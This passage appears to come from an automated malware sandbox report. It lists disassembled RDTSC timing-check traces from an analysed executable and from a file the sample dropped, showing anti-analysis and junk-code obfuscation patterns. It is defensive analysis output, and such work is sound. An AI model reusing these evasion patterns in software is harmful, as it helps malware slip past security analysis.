0x0000005e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000065 mov dword ptr [ebp-08h], eax 0x00000068 lea eax, dword ptr [ebp-10h] 0x0000006b mov dword ptr fs:[00000000h], eax 0x00000071 ret 0x00000072 push eax 0x00000073 push edx 0x00000074 push eax 0x00000075 push edx 0x00000076 push eax 0x00000077 push edx 0x00000078 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50206C9 second address: 50206CD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50206CD second address: 50206E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD957h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 50206E8 second address: 5020730 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, BF2Ah 0x00000007 push ebx 0x00000008 pop ecx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c and dword ptr [ebp-04h], 00000000h 0x00000010 jmp 00007F00DD5CA01Dh 0x00000015 mov edx, dword ptr [ebp+0Ch] 0x00000018 jmp 00007F00DD5CA01Eh 0x0000001d mov esi, edx 0x0000001f jmp 00007F00DD5CA020h 0x00000024 mov al, byte ptr [edx] 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a push eax 0x0000002b push edx 0x0000002c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020730 second address: 5020734 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020734 second address: 5020738 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020738 second address: 502073E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502073E second address: 5020766 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DD5CA024h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 inc edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F00DD5CA01Ch 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5020766 second address: 5020730 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushfd 0x00000005 jmp 00007F00DC7AD94Eh 0x0000000a add ecx, 45871108h 0x00000010 jmp 00007F00DC7AD94Bh 0x00000015 popfd 0x00000016 popad 0x00000017 test al, al 0x00000019 pushad 0x0000001a pushfd 0x0000001b jmp 00007F00DC7AD954h 0x00000020 sub cx, B368h 0x00000025 jmp 00007F00DC7AD94Bh 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007F00DC7AD958h 0x00000031 sub eax, 74B905C8h 0x00000037 jmp 00007F00DC7AD94Bh 0x0000003c popfd 0x0000003d popad 0x0000003e jne 00007F00DC7AD887h 0x00000044 mov al, byte ptr [edx] 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 502081F second address: 502082F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F00DD5CA01Ch 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5A7A49 second address: 5A7A53 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F00DC7AD946h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5A7A53 second address: 5A7A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F00DD5CA01Fh 0x0000000d rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5A7A6A second address: 5A7A7D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jp 00007F00DC7AD948h 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5A7A7D second address: 5A7A83 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5A7A83 second address: 5A7A9F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F00DC7AD950h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5A7A9F second address: 5A7AA3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BBD00 second address: 5BBD17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DC7AD952h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BC143 second address: 5BC14D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F00DD5CA016h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BC28D second address: 5BC291 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BC291 second address: 5BC2D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DD5CA029h 0x00000007 jmp 00007F00DD5CA01Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f jmp 00007F00DD5CA01Ch 0x00000014 pop edx 0x00000015 jne 00007F00DD5CA01Ch 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BDD88 second address: 5BDDAD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F00DC7AD946h 0x0000000a popad 0x0000000b pop ebx 0x0000000c mov eax, dword ptr [esp+04h] 0x00000010 pushad 0x00000011 push ecx 0x00000012 jmp 00007F00DC7AD94Ah 0x00000017 pop ecx 0x00000018 jc 00007F00DC7AD94Ch 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BDDAD second address: 5BDDD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 mov eax, dword ptr [eax] 0x00000007 jp 00007F00DD5CA01Eh 0x0000000d mov dword ptr [esp+04h], eax 0x00000011 push eax 0x00000012 push edx 0x00000013 push edx 0x00000014 jnc 00007F00DD5CA016h 0x0000001a pop edx 0x0000001b rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BDDD0 second address: 5BDDD6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BDDD6 second address: 5BDDDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BDDDA second address: 5BDE35 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD954h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop eax 0x0000000c mov edi, dword ptr [ebp+122D2B10h] 0x00000012 push 00000003h 0x00000014 xor dword ptr [ebp+122D2F57h], eax 0x0000001a mov di, ax 0x0000001d push 00000000h 0x0000001f pushad 0x00000020 mov dword ptr [ebp+122D34B5h], edi 0x00000026 mov esi, dword ptr [ebp+122D2D78h] 0x0000002c popad 0x0000002d pushad 0x0000002e xor eax, 1FE91282h 0x00000034 cld 0x00000035 popad 0x00000036 push 00000003h 0x00000038 mov edx, 59B90D1Dh 0x0000003d push B8FF7598h 0x00000042 jc 00007F00DC7AD954h 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BDE35 second address: 5BDE39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BDEB5 second address: 5BDEEE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F00DC7AD94Ch 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f or edi, 5FDB6224h 0x00000015 push 00000000h 0x00000017 mov dword ptr [ebp+122D3B47h], ecx 0x0000001d call 00007F00DC7AD949h 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 jp 00007F00DC7AD946h 0x0000002b push esi 0x0000002c pop esi 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BDEEE second address: 5BDF03 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a jbe 00007F00DD5CA018h 0x00000010 push edx 0x00000011 pop edx 0x00000012 push esi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BDF03 second address: 5BDFC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F00DC7AD958h 0x0000000f mov eax, dword ptr [eax] 0x00000011 ja 00007F00DC7AD954h 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b jmp 00007F00DC7AD952h 0x00000020 pop eax 0x00000021 or dword ptr [ebp+122D241Ch], edi 0x00000027 push 00000003h 0x00000029 call 00007F00DC7AD94Bh 0x0000002e sub dword ptr [ebp+122D3B47h], ebx 0x00000034 pop ecx 0x00000035 push 00000000h 0x00000037 push 00000000h 0x00000039 push eax 0x0000003a call 00007F00DC7AD948h 0x0000003f pop eax 0x00000040 mov dword ptr [esp+04h], eax 0x00000044 add dword ptr [esp+04h], 00000019h 0x0000004c inc eax 0x0000004d push eax 0x0000004e ret 0x0000004f pop eax 0x00000050 ret 0x00000051 mov si, cx 0x00000054 push 00000003h 0x00000056 mov esi, dword ptr [ebp+122D2B5Ch] 0x0000005c call 00007F00DC7AD949h 0x00000061 jmp 00007F00DC7AD954h 0x00000066 push eax 0x00000067 js 00007F00DC7AD950h 0x0000006d pushad 0x0000006e push eax 0x0000006f push edx 0x00000070 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BDFC1 second address: 5BDFFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 popad 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b pushad 0x0000000c pushad 0x0000000d pushad 0x0000000e popad 0x0000000f pushad 0x00000010 popad 0x00000011 popad 0x00000012 jmp 00007F00DD5CA01Eh 0x00000017 popad 0x00000018 mov eax, dword ptr [eax] 0x0000001a push esi 0x0000001b jnp 00007F00DD5CA018h 0x00000021 push esi 0x00000022 pop esi 0x00000023 pop esi 0x00000024 mov dword ptr [esp+04h], eax 0x00000028 pushad 0x00000029 push eax 0x0000002a push edx 0x0000002b jns 00007F00DD5CA016h 0x00000031 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BDFFB second address: 5BE071 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F00DC7AD957h 0x0000000b popad 0x0000000c pop eax 0x0000000d call 00007F00DC7AD958h 0x00000012 add ecx, dword ptr [ebp+122D2C28h] 0x00000018 pop edx 0x00000019 push eax 0x0000001a adc ecx, 05119142h 0x00000020 pop edx 0x00000021 lea ebx, dword ptr [ebp+12452C4Bh] 0x00000027 sbb esi, 25DE1DDDh 0x0000002d xchg eax, ebx 0x0000002e jo 00007F00DC7AD95Dh 0x00000034 jnl 00007F00DC7AD957h 0x0000003a jmp 00007F00DC7AD951h 0x0000003f push eax 0x00000040 push eax 0x00000041 push edx 0x00000042 push edi 0x00000043 push eax 0x00000044 push edx 0x00000045 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BE071 second address: 5BE076 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BE144 second address: 5BE148 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BE148 second address: 5BE157 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp+04h], eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BE157 second address: 5BE15E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BE15E second address: 5BE168 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007F00DD5CA016h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BE168 second address: 5BE1D8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop eax 0x00000009 add ch, FFFFFFA7h 0x0000000c push 00000003h 0x0000000e mov edi, dword ptr [ebp+122D2B58h] 0x00000014 add esi, 4FF9A608h 0x0000001a push 00000000h 0x0000001c movzx edx, cx 0x0000001f movsx edi, si 0x00000022 push 00000003h 0x00000024 push esi 0x00000025 jmp 00007F00DC7AD956h 0x0000002a pop edx 0x0000002b call 00007F00DC7AD949h 0x00000030 jmp 00007F00DC7AD94Fh 0x00000035 push eax 0x00000036 pushad 0x00000037 push ebx 0x00000038 pushad 0x00000039 popad 0x0000003a pop ebx 0x0000003b push eax 0x0000003c push edx 0x0000003d jmp 00007F00DC7AD954h 0x00000042 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BE1D8 second address: 5BE201 instructions: 0x00000000 rdtsc 0x00000002 je 00007F00DD5CA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f push eax 0x00000010 jl 00007F00DD5CA01Ch 0x00000016 jno 00007F00DD5CA016h 0x0000001c pop eax 0x0000001d mov eax, dword ptr [eax] 0x0000001f push eax 0x00000020 push edx 0x00000021 push edi 0x00000022 jp 00007F00DD5CA016h 0x00000028 pop edi 0x00000029 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5BE201 second address: 5BE22E instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F00DC7AD95Bh 0x00000008 jmp 00007F00DC7AD955h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 js 00007F00DC7AD963h 0x00000019 push eax 0x0000001a push edx 0x0000001b push ebx 0x0000001c pop ebx 0x0000001d rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DCEA4 second address: 5DCEAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DCEAC second address: 5DCED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F00DC7AD946h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d jmp 00007F00DC7AD954h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DCED1 second address: 5DCEF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F00DD5CA01Dh 0x0000000a push eax 0x0000000b push edx 0x0000000c ja 00007F00DD5CA016h 0x00000012 jg 00007F00DD5CA016h 0x00000018 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DD1F8 second address: 5DD219 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F00DC7AD955h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a pushad 0x0000000b popad 0x0000000c pop ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DD4E8 second address: 5DD4FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F00DD5CA01Fh 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DD4FE second address: 5DD504 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DD680 second address: 5DD6A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007F00DD5CA020h 0x0000000a pop eax 0x0000000b ja 00007F00DD5CA032h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DD6A0 second address: 5DD6A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DD9DF second address: 5DD9EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007F00DD5CA016h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DDD06 second address: 5DDD0E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DDE6A second address: 5DDE73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DDE73 second address: 5DDE7B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DDFE2 second address: 5DDFE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DDFE6 second address: 5DDFEA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DDFEA second address: 5DDFF0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DE138 second address: 5DE146 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F00DC7AD946h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5DEE13 second address: 5DEE22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 ja 00007F00DD5CA016h 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5E2356 second address: 5E2360 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5E2360 second address: 5E2379 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F00DD5CA01Fh 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5E2379 second address: 5E2380 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push esi 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5E6002 second address: 5E6008 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5E6008 second address: 5E6012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F00DC7AD946h 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EA192 second address: 5EA1A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F00DD5CA016h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EA1A1 second address: 5EA1A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EA1A5 second address: 5EA1AF instructions: 0x00000000 rdtsc 0x00000002 je 00007F00DD5CA016h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EA1AF second address: 5EA1BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F00DC7AD946h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EA1BB second address: 5EA1BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EA1BF second address: 5EA1D5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jp 00007F00DC7AD946h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007F00DC7AD94Eh 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5ACCCE second address: 5ACCD2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5ACCD2 second address: 5ACCED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jp 00007F00DC7AD946h 0x0000000d pop esi 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007F00DC7AD94Bh 0x00000015 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5E975D second address: 5E9762 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5E98E2 second address: 5E98E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5E98E6 second address: 5E98EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5E9D31 second address: 5E9D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5E9D35 second address: 5E9D39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5E9FED second address: 5EA02F instructions: 0x00000000 rdtsc 0x00000002 jo 00007F00DC7AD946h 0x00000008 jne 00007F00DC7AD946h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ebx 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007F00DC7AD951h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b jmp 00007F00DC7AD957h 0x00000020 push eax 0x00000021 push edx 0x00000022 push edx 0x00000023 pop edx 0x00000024 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EE0A1 second address: 5EE0A7 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\DocumentsHDGCAAFBFB.exe	RDTSC instruction interceptor: First address: 5EE0A7 second address: 5EE0AD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
